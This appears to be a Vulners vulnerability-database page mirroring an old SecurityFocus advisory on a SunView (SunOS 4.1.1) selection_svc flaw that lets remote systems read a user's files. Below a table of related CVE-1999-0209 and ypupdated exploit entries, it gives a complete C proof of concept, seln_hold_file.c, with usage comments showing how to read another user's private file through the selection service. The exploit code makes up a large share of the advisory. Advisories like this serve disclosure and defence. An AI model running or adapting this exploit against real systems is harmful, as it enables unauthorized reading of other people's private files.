SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit (meta) | 4 Apr 200800:00 | – | zdt | |
| CVE-1999-0209 | 4 Apr 200800:00 | – | circl | |
| CVE-1999-0209 | 29 Sep 199904:00 | – | cve | |
| CVE-1999-0209 | 29 Sep 199904:00 | – | cvelist | |
| Solaris - ypupdated Command Execution (Metasploit) | 25 Jul 201000:00 | – | exploitdb | |
| Sun Solaris 10 - rpc.ypupdated Remote Code Execution (Metasploit) | 4 Apr 200800:00 | – | exploitdb | |
| Sun Solaris 10 - rpc.ypupdated Remote Code Execution (Metasploit) | 4 Apr 200800:00 | – | exploitpack | |
| Solaris ypupdated Command Execution | 18 Apr 200801:33 | – | metasploit | |
| CVE-1999-0209 | 14 Aug 199004:00 | – | nvd | |
| CAU-EX-2008-0001.txt | 8 Apr 200800:00 | – | packetstorm |
10
Source: https://www.securityfocus.com/bid/8/info
On Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.
Sunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.
/* SELN_HOLD_FILE
* For use where someone has a selection_svc runnning as them, after an
* invocation of suntools:
*
* % cat their_private_file
* their_private_file: Permission denied
* % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow
* % ./seln_hold_file their_private_file
* % get_selection 2
* < contents of their_private_file >
* %
*/
#include <stdio.h>
#include <sys/types.h>
#include <suntool/seln.h>
main(argc, argv)
int argc;
char *argv[];
{
Seln_result ret;
if (argc != 2) {
(void) fprintf(stderr, "usage: seln_grab file1\n");
exit(1);
}
ret = seln_hold_file(SELN_SECONDARY, argv[1]);
seln_dump_result(stdout, &ret);
printf("\n");
}
/*
* Local variables:
* compile-command: "cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun
tool -lsunwindow"
* end:
*
* Static required because _mem_ops not included in ld.so
*/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.4853